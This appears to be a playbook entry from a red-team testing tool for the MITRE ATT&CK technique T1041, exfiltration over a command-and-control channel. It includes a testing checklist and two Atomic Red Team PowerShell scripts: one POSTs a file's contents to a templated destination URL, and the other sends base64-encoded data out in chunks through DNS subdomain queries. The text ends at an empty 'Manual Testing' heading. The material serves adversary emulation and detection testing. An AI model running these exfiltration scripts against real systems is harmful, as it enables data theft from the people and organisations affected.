t1041-exfiltration-over-c2-channel

name	T1041_exfiltration-over-c2-channel
description	Adversaries may steal data by exfiltrating it over an existing command and control channel.
category	client-side
version	18.1
author	cyberstrike-official
tags	["mitre-attack","enterprise","t1041","exfiltration","esxi","linux","macos","windows"]
technique_id	T1041
tactic	exfiltration
all_tactics	["exfiltration"]
platforms	["ESXi","Linux","macOS","Windows"]
mitre_url	https://attack.mitre.org/techniques/T1041
tech_stack	["esxi","linux","macos","windows"]
cwe_ids	["CWE-200"]
chains_with	[]
prerequisites	[]
severity_boost	{}

T1041 Exfiltration Over C2 Channel

High-Level Description

Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.

Kill Chain Phase

• Exfiltration (TA0010)

Platforms: ESXi, Linux, macOS, Windows

What to Check

• Identify if Exfiltration Over C2 Channel technique is applicable to target environment
• Check ESXi systems for indicators of Exfiltration Over C2 Channel
• Check Linux systems for indicators of Exfiltration Over C2 Channel
• Check macOS systems for indicators of Exfiltration Over C2 Channel
• Verify mitigations are bypassed or absent (2 known mitigations)
• Assess detection coverage (1 detection strategies)

How to Test

Atomic Red Team Tests

The following tests are from Atomic Red Team and provide actionable ways to test this technique:

Atomic Test 1: C2 Data Exfiltration

Exfiltrates a file present on the victim machine to the C2 server.

Supported Platforms: windows

if(-not (Test-Path #{filepath})){
  1..100 | ForEach-Object { Add-Content -Path #{filepath} -Value "This is line $_." }
}
[System.Net.ServicePointManager]::Expect100Continue = $false
$filecontent = Get-Content -Path #{filepath}
Invoke-WebRequest -Uri #{destination_url} -Method POST -Body $filecontent -DisableKeepAlive

Atomic Test 2: Text Based Data Exfiltration using DNS subdomains

Simulates an adversary using DNS tunneling to exfiltrate data over a Command and Control (C2) channel.

Supported Platforms: windows

$dnsServer = "#{dns_server}"
$exfiltratedData = "#{exfiltrated_data}"
$chunkSize = #{chunk_size}

$encodedData = [System.Text.Encoding]::UTF8.GetBytes($exfiltratedData)
$encodedData = [Convert]::ToBase64String($encodedData)
$chunks = $encodedData -split "(.{$chunkSize})"

foreach ($chunk in $chunks) {
    $dnsQuery = $chunk + "." + $dnsServer
    Resolve-DnsName -Name $dnsQuery
    Start-Sleep -Seconds 5
}

Manual Testing